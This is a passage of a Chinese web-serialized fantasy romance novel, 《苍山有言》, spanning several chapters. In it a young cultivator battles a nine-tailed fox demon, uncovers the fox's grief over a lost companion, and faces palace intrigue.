此时的朱宅大门紧锁,里面却妖气冲天,被笼罩在红光里,这是邪物在冲撞法器渗透出的怪力。 昭意一蹬地就从墙头翻了进去,好在之前她来过此处,朱宅里大致的布局她还算清楚。 一进大院,昭意便僵住了身子,她知道为何师兄被重伤了——迎面扑来的妖气告诉她,作祟的根本不是鬼魂,而是妖,而且从这妖气来看,恐怕还是只千年大妖! 怪不得,这朱宅里寻不到一丝鬼气。 迎面而来的妖气实在有些难闻,昭意屏住了呼吸,她犹豫了一会儿。 她未必是这妖的对手。 论修为,她远不如予林,此时她身上也无任何高级法器的加持,对上能把予林重伤的大妖,她心里并无把握。 只犹豫片刻的功夫,就感受到迎面传来一阵妖力波动,整个朱宅便被红光围上了。 或许是大妖察觉到了她的退意,立刻升起了结界,此时的朱宅不得进也不得出。 “这么快就休养好了,着急来送死?” 一道女声从朱宅深处传来。 昭意沉默一会儿,向里面走去。 杂草丛生的院中,四个铜陵浮在空中,结界上方浮着一张用血写成的符,一同织成了一张结界,将结界中的妖困在里面。 结界中的坐着一个女子,身着红色长裙,露出光滑的大腿,她垂着脑袋,黑色的长发遮住了她的面容。 在镇妖符的结界中,那女子也不慌不忙,听到院里来人了,才悠闲地抬眼,略略惊讶,随即又一笑。 “怎的,换了个人来送死?” 说罢,周围空气一震,强大的妖力压迫得人直不起身。 昭意掏出黄符来,施了个小结界,将周身的威压减轻了些。 女子扫了黄符一眼,“阵法设的不错,但就凭几张黄符,就妄想震住我?” 她斜眼往上看了一眼结界上方的铃,“再过一会儿,我便能毁了这铃,那就是我取你性命之时。” 结界上方正是昭意临走时多加的一枚镇妖铃。 昭意还觉得自己多虑了,却不想真的镇住了这只大妖。 迎面而来的妖风将昭意的衣裙吹得飞起,她手执黄符,不慌不忙问道:“妖修得百年方可入人界,你不好好珍惜一身修为,为何跑来人界作祟?” 女子眼里满是不屑,“这人间如此恶臭,若不是还有东西未寻到,我又怎么会三番两次来这臭恶之地?” 昭意微微蹙眉,“你要寻什么?” 女子冷笑,“与你何干!” 昭意道:“不如我们谈一谈,或许有更好的解决方法呢?” 女子笑了笑,“天真,我所做的,就是这天下最简单的方法!” 周围妖力猛然大增,昭意一咬牙,给小结界里注入了更多的灵力,小结界才没被威压震碎。 只是困着女子的结界上的镇妖铃不停颤抖着,应是撑不了多长时间了。 虽然朱宅早就被这妖锁住了,但向逃出去也只有突破这妖布下的结界了。 念此,昭意咬破了手指,将血写在黄符上,挥手就将几张符纸送了出去,符纸贴在红色的结界上,瞬间发出一阵强光。 “你逃不掉的——” 随着朱宅深处一阵嘶吼,伴随着银铃被震碎的声音,朱宅的妖气暴增。 同时昭意身边的小结界也应声而碎,强大的威压立即笼罩在昭意身上,她闷哼一声,咽下喉间的血腥味儿,艰难地掏出一张符纸来,又结了个小结界,消去了威压。 只是没有任何喘息的机会,昭意就感受到迎面而来的妖气,十分迅猛,她双脚一蹬,整个人腾空而起。 随即就听一阵巨响,方才她所在的地方已被砸出一个深坑。 昭意在空中转了个身,稳稳落地,只是猛烈的风早已将她的帷帽掀废飞了。 女子从空中缓缓落下,俯视着昭意,在她双眼了盯了一会儿,有些讶异,而后却一笑,“你这般年纪就练就了炽阳心法,实在了得,只是可惜了......” 女子一抬眸,双手向前一抓,“你今夜就要死在我手里!” 昭意执起黄符,正想画个法阵,但在妖气扑来的瞬间,她手一顿。 她看不见了。 炽阳心法需要分辨周围的气息流动,而这女子刚才那一招让她的妖气外漏,如今周围皆是可流动的气息,让昭意感受不到女子的存在。 昭意立即改了符纸的画法,原地起了个保护结界,将自己护在里面。 但是这种法子终究不是长久之计,结界需要灵力支撑,她本来就不能多用灵力,用不了多久这结界就会消失。 昭意咬紧了牙关。 女子砸了结界几下,结界稳稳不动,她盯了一会儿,看破了玄机,也不急了,只用着妖力压迫着结界,等着结界消耗殆尽。 用这等强度的保护结界十分消耗灵力,没一会儿昭意就觉得身体有些不支,只是一咬牙,又强撑起来。 女子笑道:“我倒要看看,今日你是死在我手下,还是灵力枯竭死在这阵里。” 话未说话,她便是一愣,随即挥手打掉了一只冷箭。 “谁!” 女子朝远处看去,直接黑暗之中,一个身影蹲在墙头上,也不知道在那多久了。 女子一惊,她竟没察觉到一个人类在这么近的地方。 这瞬间,又有一支冷箭向女子袭去,女子手一捏,将箭握在手里,一用力,那箭便断成两截。 “人类的东西,也配伤我?” 女子将断箭朝那人甩去,那人在空中转身,躲过了断箭。 “昭意!” 楚行昀一落地,便朝昭意跑去。 昭意听出了他的声音,在他接近时松了结界的力量,让楚行昀一同进到结界中来。 昭意呵道:“你来干什么!” 楚行昀看向她,不由得一愣,此时昭意苍白,血从嘴角流了下来,整个人虚弱无比,仿佛下一刻就要消散一般。 他心中不由得一慌,连忙扶住她。 “你、你可还好?” 昭意抬手擦掉嘴角的血,掏出挂在脖子上的锁魂玉,自嘲地笑了一声,“不算好,本来就我一人栽在这里,现在还要再多搭上你一条命。” 锁魂玉在她手上发出幽幽蓝光。 女子眼神一凝,随即一喜,“你身上好东西倒是不少。” 锁魂玉里的灵力被启用,昭意闭眼,闷哼一声。 楚行昀一把抓住她的手,将锁魂玉夺过,他虽不知具体情况 12. 第 12 章 《苍山有言》全本免费阅读 楚行昀从沉睡中醒来,引入眼帘的是陌生的床帘,他一惊,正想起身,却被扯得一阵疼。 他低头才发现,自己胸口被一圈纱布包了起来,因为方才他起身扯到了伤口,雪白的纱布上渗透出点点红色。 “醒了?” 他闻声看去,才见昭意坐在窗边,杵着脑袋,手里拎着什么东西。 “嗯。” 楚行昀逐渐想起了昨日的事,看向了昭意,她脸色却差了些,但不像昨夜那般虚弱。 昭意走了过来,停在楚行昀床前,楚行昀这才反应过来自己上身只裹着一圈纱布,脸腾地红了起来,他支起身子来就要找外衣。 昭意眉头一皱,立即按住他肩膀,“你伤势很重,不宜动弹,你需要什么告诉我便可。” 细腻的手掌贴在他肩上,楚行昀耳尖都红了。 “衣......衣服。” 昭意道:“你那衣服穿不了了,等天黑我再给你寻一件。” 楚行昀不自在地挪了挪身子,扯过一旁的被子盖在自己身上,等盖严实了,他才敢正眼看向昭意。 “昨夜那人......是谁?” 昭意一愣,“你看到了?” 楚行昀“嗯”了一声。 那会儿他虽被重伤,但还在意识还清醒,便看到了那个透明的男人杀死了大妖。 不知是不是他的错觉,在那男人转身时,那男人似乎看了他一眼。 昭意叹气,“我也不知他是谁。” 她依然记得那男子的模样,毕竟他是她真正看到的第一个人,可他又怎会存在她的身体里? 等朱宅的事过去,她就写信问问师父。 提到昨夜,昭意又想到一事,对着楚行昀严肃道:“昨夜你胡来什么?” 楚行昀一愣,“什么?” 昭意抬手敲了敲他的脑袋,“朱宅的事情跟你有什么关系?从宫里跟过来,还以身犯险,若不是昨夜那男子,我俩都得完蛋!” 楚行昀抬手捂住脑袋,想到先前她在梧桐宫说的话,也恼了起来,“怎么就没关系了!你不是和我定了那什么契约,居然就这么把我随便丢给别人!” 昭意一愣,“你不是要查你娘的事,此事若交给兄长,定会容易许多。” 楚行昀冷哼一声,“不成!既然说好的是你帮我,就必须是你,换成皇帝都不成!” 昭意讶然,有些不懂楚行昀的脑回路,只能将其归结于小孩子脾气。 楚行昀视线扫过昭意脖间,想起一事。 “你那块石头是怎么回事?” 昭意哈哈一笑,“什么石头?” 楚行昀轻哼一声,“别想瞒我,就是你脖子上戴的那块。” 昭意沉默一会儿,还是将凝魂玉掏了出来。 昨夜情况紧急,没仔细查看,现在细细一看这石头,晶莹剔透,似蓝似紫,周围似乎还泛着一圈光晕。 “这是......” “这叫凝魂玉,里面储存了我大部分的灵力,但不得轻易使用。” 楚行昀将目光移到她略苍白的脸上,“怎么叫这么奇怪的名字,若用了里面的灵力会怎样?” 昭意将凝魂玉收了起来,“轻则灵力全失,重则......你打听这么多干什么?” 楚行昀微恼,“重则如何?” 昭意偏过头去,小声道:“重则魂飞魄散。” 楚行昀还是听见了,他瞪大了眼,“那你......” 她一摊手,“我好着呢,不过这几日不能用灵力而已,当几日的普通人也不是不行。” 楚行昀想到昨日她也掏了这石头出来,蓦地觉得一阵后怕。 “你也太胡来了。” 正说着,楼底下传来一阵骚动,吵吵嚷嚷的。 昭意脸色一变,“先前给你的隐形符可还有?” 楚行昀道:“就在兜里。” 闻言,昭意上手就从楚行昀兜里拿出一张符纸来,还不等他问,便见昭意在他眼前消失了。 下一刻房门就被人大力踹开,闯进来几个手持兵器的兵官,一进门扫了床榻上的人一眼,就挥手,“搜!” 片刻过后,屋内一片狼藉。 没搜到什么东西,官爷招呼了人就走,继续去搜下一间房。 被踹开的房门被默默关上,昭意这才显现出来。 楚行昀诧异,“这是怎么了?” 昭意无奈一笑,"昨夜的事闹大了呗。" 那魂魄消失后,正好天明,她才发觉那朱雀街前前后后蹲了不少人,探头探脑地看着朱宅,又不敢过来。昨夜的事算是惊动了整个京城,前几日官府才将百姓安抚下去,如今全都功亏一篑。 也不知皇宫里的人此刻是不是恨她恨得要死。 “朱宅一事算是解决了吧?” 昭意摇头。 楚行昀震惊,“昨日那女人不是被烧死了吗?” 昭意将手里的东西丢给楚行昀,他接过一看,是一条烧焦的尾巴。 昭意道:“若是别的妖物,或许已经死了,但昨夜那女人极有可能是只九尾狐。九尾狐一尾一命,可不会这么轻易死了。” 楚行昀抓紧了手里的尾巴,“那......那要是她再来?” 昭意一笑,“我就去会会她。” “别说笑了!” 楚行昀大声道:“你现在一点灵力都没有,怎么打得过那狐妖?” 昭意道:“断了一尾,那狐妖也是大伤,此时不找她,等她恢复了就更难了。” 她抚上凝魂玉,微微垂头,“只用三日,我便能恢复起来。” 楚行昀视线随着她的动作落在凝魂玉上,眼神一黯,“你就不怕魂飞魄散吗?” 昭意轻轻一笑,“我师父说过,身为修道之人需怀仁慈之心,行惩恶扬善之事。若能铲除不义,为天下人讨赢得正义,死又何妨?” 楚行昀听了,心中却有些不快,他垂下眼眸,讽道:“那你可真是心怀天下,毫无私怨。” * 夜间朱宅的事确实是轰动了京城。 国君还在床榻上时,听了太监传上来的消息,瞌睡都吓醒了。 太监道:“京中许多人都看见了,昨夜朱宅红光不断,还瞧见朱宅里走出个白衣女子。” 国君狠狠一拍桌,太监吓得大气不敢出。 国君脸色沉沉,自然也想到了白衣女子就是逃出去的昭意。 “将贵妃和娄齐洲叫来!孤要让他们看看,怎么养出来的好女儿好妹妹!如今又要如何给京城百姓一个交待!” 太监应了一声,便退下了。 国君坐在床榻,用手揉着眉心。 忽而,又一小太监跑来,“陛下——” 国君皱眉看了过去,“何事慌慌张张的!” 那小太监连滚带爬的 13. 第 13 章 《苍山有言》全本免费阅读 待朝颜来京城的时候,已经是冬天了。 她深一脚,浅一脚地踩着雪,一步一步往前走,伸出手哈了哈气。 “也不知道这破地方,有什么值得玉笙喜欢的。” 她四处观望一下,白茫茫的天,白茫茫的地,所有都是一片白,毫无生机。 朝颜仰头,嗅了嗅空气中的气息,转身朝一条小巷子里走去。 穿过一条条小巷,走过一扇扇门,最终朝颜停在了一处宅子前,抬头一看,上头龙飞凤舞地写着“朱宅”两个大字。 朝颜抬脚就往里走,却被门口的两个小厮拦住。 朝颜把人一推,“让开!我是来找玉笙的!” 小厮看了她一眼,“可有帖子?” 朝颜不解,叉着手问:“什么帖子?没有!快让开!” 说罢她就往里冲,两个小厮对视一眼,张开手上前拦她。 朝颜没了耐性,抓着其中一人便来了个过肩摔,另一个小厮拎着棍棒袭来,朝颜抓住棍棒的一头,狠狠一带,那人便跟着往前一扑,摔在了地上。 朝颜拍了拍手,就打算往里走。 地上的小厮却大喊一声,便冲出许多人来,将朝颜围成了个圈。 朝颜一皱眉,颇为不耐烦地看着周围的人。 在她手里刚凝起妖力之时,门口传到一道熟悉的声音,“阿颜!” 朝颜回头一看,立即露出笑容来,“玉笙。” 门口停着一辆马车,刚好下来一个小娘子,盘着已婚妇人的发型,见到朝颜便奔了过去。 “阿颜,你可算来了。” 玉笙拉起朝颜的手,笑意盈盈。 朝颜看着许久不见的好友,心中欣喜。 她正想说什么,却见一男子从马车上下来,走到了玉笙旁边。 玉笙松开朝颜的手,挽上旁边的男子,介绍道:“阿颜,这是我夫君朱凯深。夫君,这便是我时常与你提到的阿颜。” 朝颜瞥了一眼这男人,一副书生打扮,皮肤白皙,浓眉大眼,叫她想起来在茶馆里听到的所谓“小白脸”。 朱凯深朝她拱手,“原来是朝颜姑娘,时常听玉笙提起过你。” 朝颜点了点头,看向别处。 朱凯深略有尴尬看向玉笙,玉笙朝他歉意一笑。 于是朱宅里又住进一位叫朝颜的女子,这位女子神出鬼没,喜欢睡在树上,也不懂礼数,就算在朱家祖母面前,她也能甩手走人。 最终朱大夫人看不过去,找来玉笙谈了几次。 无奈之下,玉笙只好委婉地劝了劝朝颜。 朝颜踹了路旁的花草一脚,“那什么礼仪,也太烦了。” 尽管如此,朝颜还是学着人类吃饭,学人类走路。 但是还没等朝颜真正学会如何当一个人类,朱家就出了事。 朱凯深失踪了。 朱大公子和朱大夫人日日派人去打听消息,却毫无所获。 府里的人都瞒着没敢告诉老夫人。 玉笙一双眼早已哭不出泪来,她面容憔悴,却依然每日管着宅里的账本。 朝颜将她手里的账本拿下,看着她通红的眼睛,“看不下去就别看了。” 玉笙摇了摇头,神色悲悯,“哥嫂不懂生意,生意上的事还要有人看着,我得守好朱家,等着夫君回来。” 她垂头一笑,“夫君说了,他此次回来后会给我一份惊喜的。” 沉默许久,朝颜道:“我去替你寻他!” 玉笙眼睛一酸。 朝颜立即道:“别说什么感谢我的话,你知道我向来不爱听。” 于是朝颜离了朱家,去寻朱凯深了。 可是不管朝颜怎么找,京城,地州,甚至别国,皆没有朱凯深的气息。 她用了妖力寻人,依然毫无所获。 朝颜心里空荡荡的,不知怎么面对玉笙。 因为这天下没有她寻不到的人,如果寻不到,那个人或许已经死了...... 朝颜回了朱宅,却没敢出现在玉笙面前,她悄悄看着玉笙早起,仿佛没事人一样查看账本,出门管货,与客人商谈,忙到夜里才回来,点起蜡烛,直到燃尽,房里的灯火才熄灭下去。 有一日,原本看着账本的玉笙站了起来,推开窗户,看着外面浓密的叶子道:“阿颜,你过来吧。” 外面一片安静。 玉笙苍白一笑,“你在我身边这么多日,却不来见我,我就已经知道了。” 花丛发出响声,朝颜走了出来,她看着玉笙。 玉笙也回望着她,蓦地流下泪来,“他......是不是回不来了?” 朝颜心里一阵难受,上前几步拉住她的手,“或许他还在我没去过的地方,我再去找找。” 玉笙摇了摇头,捂着脸蹲了下去。 寂静的院里,时不时传来一阵抽泣声。 * 朝颜又离开了朱宅,她又去找朱凯深了。 与玉笙分离那么多次,这是她最后悔的一次。 朝颜这次去了人迹罕至的高山雪地,荒漠沙野,依然不见朱凯深。 无奈,她只能回了京城,但是却没见到玉笙。 小厮将她拦在门外,“没有大夫人的允许,你不许进去。” 朝颜无暇顾及他,手一推就将人推倒,迈着步子就进了玉笙院内。 然而院里寂静无人,就连平日放在桌上的账本都一起消失了。 “玉笙!玉笙你在哪!” 朝颜穿堂而过,找了很多屋子都没找到人。 最后一个小丫鬟压着声音道:“二夫人已经病逝了。” 朝颜愣了一瞬,伸手就抓起她的衣领,“什么意思?” 小丫鬟抖着身子,“二夫人,思虑成疾,已经去了......” “不可能!” 朝颜掐着小丫鬟的脖子,怒吼道:“你骗我!不可能!” 在小丫鬟差点两眼一翻晕过去时,朝颜想起了平日里玉笙说的话,松开了手。 她冷眼扫视院内的一众奴仆,转身便走。 经过多次打探,她从周边邻居那里知道了一些消息,在她离开的这段时间,朱家人宣布了玉笙病逝。 以所患疾病有传染性为由,不设灵堂,不告知葬身之处。 朝颜握紧了拳头。 一派胡言。 朱宅的丫鬟说玉笙是忧思成疾,却对外说是染病而亡。 朝颜继续在这些蛛丝马迹中找玉笙的下落,她相信玉笙没死。 因为玉笙同她一样,皆是狐妖,区区人间疾病,又怎能要得了她的命? 这也是为什么,普普通通的朱家能够突然飞黄腾达,为何能入住满是达官贵人的朱雀街,又为何能揽下皇家的生意。 或许玉笙只是失去了妖力,正躲在哪里等着她。 但是 14. 第 14 章 《苍山有言》全本免费阅读 只是那道符纸在后院上空一直旋转着,找不到落脚处,迷茫地来回飘动。 朝颜眼神黯淡了下来。 昭意思索一会儿,问:“可有玉笙生前的物件?” 朝颜似乎又看到了点希望,眼睛一亮,“有。” 她递出一只耳坠。 朝颜垂眼看着那耳坠,眼神深沉,“这是后来我在朱宅里找到的,只有这一只了。” 昭意摸了摸,这耳坠雕着桃花,看来它主人也是个十分爱美的女子。 “多谢,我会小心一点。” 她闭上眼,抽了一张符纸贴在耳坠上,低声念叨了一会儿,就见耳坠上的符纸飘了出去。 最终符纸飘落在一处院子的上空,来回飘荡。 朝颜见状,赶紧道:“之前我也多次追踪到此,可一到这里,气息便消失了。” 昭意静下心来,仔细感受着周围的波动,片刻后才道:“你找不到是有原因的,有人在这里设了个小结界,隔绝了外界与结界内的气息。若不仔细,恐怕真的无法注意到这个结界。” 昭意微微抬头,感受着那符纸上的气息,良久,她将手放到了锁魂玉上。 旁边的楚行昀见了,一把握住她的手,“不许胡来!” 昭意撇嘴,“只用一点点,不碍事的。” 楚行昀冷眉皱起,“那也不行!” 他盯着昭意,见她没有退让的想法,便想将锁魂玉从她身上取下。 却不料昭意按住了他的手,她偏向楚行昀,柔声道:“如今只差最后一步了,就用一点点灵力,真的不会有事。” 昭意的手心很温暖,覆在他两只手上。 楚行昀觉得脸上一烧,连忙放开了锁魂玉,连连后退两步,恼道:“你就使劲糟蹋自己吧!” 昭意得逞一笑,手里的锁魂玉也跟着发出蓝色的光芒,她指向头顶漂浮着的符纸,灵力便涌向了黄符。 片刻之后,昭意猛地松了口气,身子往后退了几步,楚行昀上前几步扶住她。 “昭意!” 他看到昭意虚弱的模样,眼神一沉,十指不由得缩紧。 而空中漂浮着的符纸,转悠着往院子里飘去了。 三人连忙跟上,最终符纸停留在了一棵树下。 朝颜迟疑,“这是?” 昭意集中注意力,道了句,“你想要的东西一直都在这里。” 朝颜眼睛一红,奔向了树下。 以朝颜的能力,只要动用妖力就能轻轻松松地挖出底下的东西。 而此刻她却像忘了一样,只顾着用手刨,好像回到了很久很久以前做小狐狸时,和玉笙一起刨土的时光。 朝颜的动作慢了下来。 土壤里露出一个盒子的模样。 她轻轻将盒子刨了出来,盒子已看不出原本的模样,上面还贴着封条。 朝颜毫不犹豫就朝那封条伸出手,然而封条上残留的法力狠狠刺向了朝颜。 如同触电一般,她下意识地缩了手,但下一刻又稳稳地接住了盒子。 “我来试试。” 昭意上前几步,伸手便撕掉了盒子上的封条。 “这是专门针对狐妖的咒术。” 昭意捏着封条,细细感受了一会儿,“那位诸葛大师真是料事如神,他竟让能猜到会有同类来找玉笙的尸首。” 她想那位诸葛大师一定也是个十分厉害的高手,对他来说降妖除魔并没有什么错,特别是像玉笙这样隐藏了身份躲在人间的,大多都是想谋害人类。 可偏偏玉笙便是那少数对人类没有恶意的妖怪。 昭意撕掉了封条,朝颜却迟迟没打开盒子。 她盯着盒子看了许久,手覆上盒子几次,却依然没有打开,这样简单的动作,却似乎让她用尽了全身的力气。 昭意和楚行昀安静地等着朝颜。 良久,朝颜一咬唇,缓缓开启了盒子。 她睫毛颤了颤,视线瞬间就模糊了。 十多年过去了,一切都化为了枯骨。 小小的盒子里装着一只小狐狸的骨头。 “我一直不信你死了......” 朝颜几次想抚摸那骨头,却又缩回了手,最终只是搭在了盒子边上。 “原来这么多年,你就在这么一个小的盒子里......” 她抱着盒子低声抽泣,“对不起玉笙,是我来晚了......” 是她回朱宅晚了,是她找到玉笙的尸体晚了。 寂静了多年的院子,又再度传来了抽泣声。 谁能想到闹得朱宅甚至京城十几年不安宁的狐妖,并不是利益熏心的妖怪,而只是想带同伴回家的小狐狸罢了。 昭意听着朝颜的哭声,心中也有些难过,然而下一刻她却惊愕地面向那盒子。 一颗浅绿色的珠子从盒子里缓缓飘了出来,发出绿色又微小的光。 那枚珠子自盒中一出,便缓慢飘向朝颜。 楚行昀惊愕,“这是......” “那是玉笙的内丹。” 昭意垂下眼眸,轻轻一笑。 那妖丹很是活泼,凑到了朝颜的身边,一下一下地触碰着她,像是在顽皮的孩子在轻拍着朝颜,又像是在轻轻安慰着朝颜。 朝颜一愣,眼泪模糊地抬头,便见到了这个绿色的小家伙,她立刻就认出来了这是玉笙的气息。 她不可思议地瞪大了眼,伸出了手。 那妖丹在空中跳了三下,才落入了朝颜的手里,最终淡去了光芒,变成了一颗普普通通的珠子。 * “阿颜,你好笨。” 一朵蘑菇突然开口说话了。 小狐狸一转头,仔细分辨了好一会儿,才从一堆蘑菇里,找到了那朵说话的蘑菇。 看着和普通蘑菇融为一体的玉笙,小狐狸恼道:“玉笙你的化形术太厉害了,我怎么认得出你!简直耍赖!” 闻言,说话的蘑菇从蘑菇群里掉了下来,落到地上便化为了另一只小狐狸。 玉笙抖抖耳朵,嘻嘻一笑,“等我再厉害一些,我就能化成人形了!” 朝颜听她提起这个话题,耳朵就耷拉下去了。 她找了个阴凉的地方躺下。 玉笙跑过去,咬了咬她的耳朵,“阿颜,你不开心吗?” 朝颜抖了抖耳朵,躲开了玉笙的攻击,喃喃道:“人间有什么好的,两条腿走路,还没我跑得快呢。” 玉笙却不这样觉得,她谈及人间,眼里便充满了憧憬。 “人类跑的虽然不快,但是很聪明,会做甜甜的果子,还能造浮在水上的船,还有亮晶晶的杯子......” 朝颜轻哼一声,“那些人类在我看来,长得都一个样!若有一日你变成了人,我认不出你怎么 15. 第 15 章 《苍山有言》全本免费阅读 昭意回宫后,就去看了予林。 正如那日凛风所说,予林受了很严重的伤。 胸口被穿透了两次,大腿处有很深的划伤,一道伤口从眉心划到了右耳,如今还在昏睡中。 太医说:“本来那夜情况很危险,后来落鹫山送来了一瓶灵药,服下灵药后,情况才好转起来,予林道长如今已无生命危险,等他醒来便好。” 昭意搭上予林的手腕,给他输了一些灵力,予林体内的气息虽微弱,但能感觉到正在好转。 片刻后,她收回了手,向太医点了点头,“多谢。” 门口匆匆走来几人,太医转身一看,连忙弯下腰,“二殿下。” 来人轻扶太医一把,便看向了里面的昭意。 娄齐洲几步就到了昭意身旁,上下打量了她一番,看她身上没有什么伤,才松了口气,随后便是沉默地看着昭意。 昭意认出了娄齐洲的气息,被这样沉默地看着,她有些不自在地抿了抿唇,“兄长,怎么了?” 娄齐洲抬了抬手,最后还是垂下手来,笑了笑,“我听说你来了太医院,过来看你有没有事。” 昭意道:“我没事,刚才听太医说,这几日你送了好些药材给师兄,我先替师兄谢谢兄长了。” 说罢,她就朝着娄齐洲行了个礼,只是立刻就被娄齐洲扶住了。 他盯着昭意,最后眼神黯淡,苦笑,“不过是些小事,不必如此见外。说起来,我都没有真正帮到你什么。” “怎会?兄长已经替我做了许多了。” 娄齐洲沉默了一会儿,问:“一会儿你要回梧桐宫吗?我送你。” 昭意微愣,“兄长不用处理事务吗?” 她虽对宫中的事情不甚了解,但也知道娄齐洲平日里应该很忙才对,怎么会这个时间来太医院? 娄齐洲笑了笑,“近日的事都处理完了,正好送你一路。” 昭意有些迟疑,回头看了眼予林,他身体中的气息像个小火苗一般,坚强地跳动着。 娄齐洲也看了过去,也知她想到了什么,“妹妹放心,我派了人守在这里,若有消息,定第一个告之你。” 闻言,昭意也稍微安心了些,道了声谢,在这宫里,他能做的比她多多了。 到了梧桐宫,宫里的人迎了出来,见到娄齐洲也在,神色就有些古怪。 娄齐洲见了,盯住了那宫人,“怎么了?” 宫人连忙跪下,惶恐地摇着头。 这副模样娄齐洲见得多了,他眼神一沉,就要走过去问,却被昭意拉住了袖子。 “兄长,先进去吧。” 娄齐洲一顿,又盯了那宫人一眼,只是那宫人垂着头,看不清脸。 昭意已上前几步,娄齐洲见状,只好先跟上。 梧桐宫一切如初,除了破了个大洞的宫殿。 采樱和择梨跑来,朝着两人行了个礼,又飞快扫了一眼破了个洞的宫殿,道:“殿下,娘娘暂时为您准备了一处宫殿,这几日殿下便先住到那边去,等梧桐宫修缮得差不多了,就可以回来住。” 昭意这才想起来那天她用灵力给这宫殿破了个大洞,便轻咳一声,“好。” 娄齐洲却说:“不如让妹妹暂住我偏殿,就不用多备宫殿了。” 采樱和择梨为难地相视一眼。 最终还是采樱酝酿了一番,出来说:“这是贵妃娘娘吩咐下来的,殿下就不要为难奴婢们了。更何况,虽殿下与四殿下为亲兄妹,但男女大防,同住一殿恐怕不好......” 娄齐洲抿了抿唇,正想开口,就听昭意先说:“那就多谢母妃了。” 她偏头朝娄齐洲微微一笑,“也谢过兄长,只是对我来说住哪都一样,就不叨扰兄长了。” 娄齐洲抿了抿唇,最终没有多说什么。 临走时,他又道:“过几日,我送两个人给你。” 采樱和择梨相视一眼,还没来得及说什么,娄齐洲就已经走远了。 昭意让采樱和择梨去收拾东西,自己一人走到院中,小声唤了几声楚行昀。 没人回答。 她微微蹙眉。 待东西的收拾好了,又乘伤马车去往另一个宫殿。 宫殿门口站着几个宫女,高昂着头,见到昭意的车来,目视前方,一动不动。 择梨只好吩咐梧桐宫里的人先将东西搬进去。 宫殿里走来一人,正是之前来过梧桐宫的旭红。 她看到从马车上下来的昭意,轻轻一笑,“殿下回来了,娘娘已经恭候多时了。” 采樱和择梨低下了脑袋。 昭意动作一顿,“娘娘在里面?” “正是。” 旭红往后退了一步,让出路来,“殿下,请吧。” 昭意沉默了一会儿,还是走了进去。 殿里飘来浓厚的香火味,偌大个殿里,立着一尊佛像。 林贵妃背对着众人,双手拿着三柱香,闭着眼,片刻后将香插入了香炉中。 宫女拿来水盆和手帕为林贵妃净手。 她慢条斯理地擦净了手,才缓缓看向昭意,声音飘渺,“回来了。” 林贵妃摇了摇手,“都退下吧,让本宫与这孩子,好好聊聊。” 于是众人退了出去,并带上了门。 殿里光线有些昏沉,林贵妃推开一扇窗,让光照进来了些。 她道:“见过洲儿了?” 昭意回道:“见过了。” 林贵妃瞧着外面的日头,“往日这时候,洲儿是要在参与朝政事宜的。你可知今日为何没去?” 昭意垂下眼,隐约猜到了几分。 “兄长说事情都处理完了。” 林贵妃轻笑一声,“这孩子,还真是疼你。” 她抬眼看向昭意,“他不告诉你,那本宫告诉你。梧桐宫被封了的那日,洲儿竟然为了你跑到陛下那里顶撞陛下,陛下一气之下就就撤了他的职。所以不是事情处理完了,而是无事可处理了,你可懂?” 昭意抿了抿唇,“我并不知情。” 林贵妃没有刻意提起前,她还真信了娄齐洲说的。 林贵妃笑了笑,“你也知,他作为兄长有多疼你这个妹妹了。所以本宫希望你也能多为他着想一些,就算帮不了他,也不要为他惹麻烦。” 昭意闻言,轻笑,“娘娘这是何意?所谓麻烦,又是指什么事?” 林贵妃盯了她一会儿,“本宫知道你很聪明,就不用本宫说那么直接了。你要知道,这天下是男人的天下,唯有找到可以依靠得住的人,才能在这世间站稳脚跟。” 林贵妃行到昭意身边,轻声对她说,“只有洲儿稳稳当当地坐上那个位置,我们才有未来可言,你懂吗?” 昭意垂下眼眸,轻笑一声,“我不懂。” 林贵妃微愣,随即皱眉。 昭意面向林贵妃道:“那是你的未来,不是我的。在朱宅这事上,我认为我没做错 16. 第 16 章 《苍山有言》全本免费阅读 天色已黑,宫殿的门被悄悄打开,随后又关上。 屋里一片漆黑。 黑暗中燃起一只火折子,将屋内的灯都点上。 “回来了?” 楚行昀往后一看,见到昭意坐在书桌前,用手摸着刻了字的竹简。 楚行昀吹熄了火折子,边向昭意走去边道:“我打听了才知道你来这里了,怎的不点灯......” 话没说话,他瞬间顿住脚步。 尽管光线昏暗,昭意脸上鲜红的手印还是能看得一清二楚。 昭意笑了笑,“点不点灯,对我来说好像没什么区别。” 楚行昀抿唇,“谁打的?” 昭意一愣,伸手摸了摸脸上,“很明显吗?” 楚行昀扫视了一眼屋内,“那些宫女呢?” “或许被调到别处了。” 楚行昀一默。 刚才他进来时,守门的皆不是梧桐宫的人,院内空无一人,只有门口守着几个宫女。看着不像是来服侍昭意的,而是来监视她的。 “别说我了。” 昭意将手中的竹简收好,“朱宅的事情突然,打乱了你之前的安排,你的事调查的如何了......” 她还没说完,就听身边的人突然站起身来。 楚行昀说了句,“等我一会儿。” 就推开门出去了。 昭意微惊愕。 过了一会儿,楚行昀就回来了。 昭意板着脸,“什么事情这么急,刚和你说正事,你就跑了......” 下一秒她一僵。 脸上凉凉的一片。 昭意往后躲了躲,“这是什么?” 她才刚动,后脑勺就被按住了。 “别动。” 楚行昀认真地从小瓷瓶里取了药出来涂在她脸上,“给你擦药,会好的快一些。” 他擦药时靠得有些近,昭意似乎能感受到他轻轻的呼吸声,她睫毛颤了颤。 “你这药......哪来的?” 楚行昀手里涂着药,轻声道:“太医院偷的。” 昭意蓦地一笑。 楚行昀也跟着笑了起来,“他们药多,拿一点儿不碍事。” 看着药将泛红的皮肤都覆盖上了,楚行昀才将药盒盖上,他一抬眼,就撞进了昭意浅浅的眼眸中。 楚行昀觉得四周突然寂静了,静得他能听到自己的心跳声。 下一秒,他猛地往后仰,却忘了他就坐在椅子边缘,直接连人带椅地往后摔了下去。 昭意一惊,连忙伸手去抓,只可惜抓了个空。 就听“哐当”一声,楚行昀已经摔在了地上。 但还不得昭意去扶他,他就连滚带爬地站了起来。 “你没事吧?” 楚行昀憋红了脸,“没、没事,刚才要说什么来着......” 昭意皱了皱眉,他虽说没事,但是语气却不像真的没事那样,只可惜她看不到。 她站起身来就向楚行昀走去,“真的没事吗?” 见她越来越近,楚行昀像被踩了尾巴的猫一样跳了起来,“真、真没事!” 听他这么说,昭意虽然心中又再多的疑虑,但也只好作罢。 两人坐回桌前。 昭意问:“你自己的事,查的如何了?” 